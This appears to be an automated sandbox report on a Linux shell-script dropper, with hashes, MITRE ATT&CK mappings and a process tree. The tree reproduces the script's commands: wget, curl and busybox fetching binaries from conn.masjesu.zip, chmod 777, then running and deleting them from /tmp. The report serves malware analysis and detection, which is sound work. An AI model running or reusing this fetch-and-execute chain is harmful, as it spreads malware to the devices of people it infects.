f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004

Analysis

max time kernel
149s
max time network
20s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/11/2024, 02:53

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General

Target
f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
Size 10KB
Sample241118-ddln9swmcw
SHA256 f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004
MD5 e91fd2b1f1e5c7636a5f59c96c00d3dc
SHA1 e39a86140a233631ca5a34a77808687b6f122578
SHA512 02e430595f8f1fb6f86f46a470da6a5462bb0be97dd7cb1bed9b9a2d4e9347c1b9e6f2101f4c564008a7473881430f0ee93480dba13f27ee29bd5850be6184fa
SSDEEP 96:YXr1YNGltt9yKQLMQ6LwsTfL/TtLTXXTSARJApBWHWHGHpcGjiL2P2j2jOgOcOKE:3u7fNnGyO6w1O6pH
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
676	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	677	HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 4 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
680	wget
681	curl
652	wget
658	curl
675	busybox

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh	curl

/tmp/f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
/tmp/f3f7dac7b04028b964c3b4e4936b83a6cd272d590c0ba79e54f9a74361649004.sh
1⤵
PID:643
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - System Network Configuration Discovery
  PID:652
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:658
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - System Network Configuration Discovery
  PID:675
- /bin/chmod
  chmod 777 HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  ./HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  - Executes dropped EXE
  PID:677
- /bin/rm
  rm HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
  2⤵
  PID:679
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - System Network Configuration Discovery
  PID:680
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/q0EBSDRJ9HCJ7WAgNP52crJgTHLY1MK2jq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:681

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh

Path /tmp/HB2O2cWtMtNrCc8Bb0FAjxyaBxNyjvFbFh
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads